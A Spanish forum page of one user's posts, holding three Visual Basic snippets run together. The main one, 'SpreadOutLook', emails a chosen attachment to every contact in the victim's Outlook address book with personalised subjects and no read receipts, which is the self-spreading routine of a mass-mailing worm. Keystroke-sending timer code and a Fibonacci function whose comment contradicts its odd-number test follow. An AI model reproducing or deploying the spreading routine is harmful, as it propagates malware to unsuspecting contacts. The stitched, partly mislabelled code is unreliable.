Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Sub SpreadOutLook(Message,Subject,SPath)
Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
Cant = Contacts.Items.Count
For X = 1 to Cant
If Contacts.Items.Item(x).Email1Address <> "" Then
Set Email = CreateObject("Outlook.Application").CreateItem(0)
Email.To = Contacts.Items.Item(x).Email1Address
Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
Email.ReadReceiptRequested = False
Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
Email.Attachments.Add sPath
Email.Send
End If
next
End Sub
Private Sub Timer1_Timer()
SendKeys "{ENTER}"
SendKeys " "
End Sub
Private Sub Timer1_Timer()
DoEvents
SendKeys "{ENTER}"
DoEvents
SendKeys " "
End SubPrivate Function Fibbo7913(Optional Limit As Long = 4000000) As Long
Dim aux As Long
Dim act As Long
Dim ant As Long
Dim suma As Long
ant = 1
act = 1
suma = 1
Do
If act And 1 Then suma = suma + act 'operacion binaria que me dice si es par o no
aux = act
act = act + ant
ant = aux
Loop While act < Limit
Fibbo7913 = suma
End Function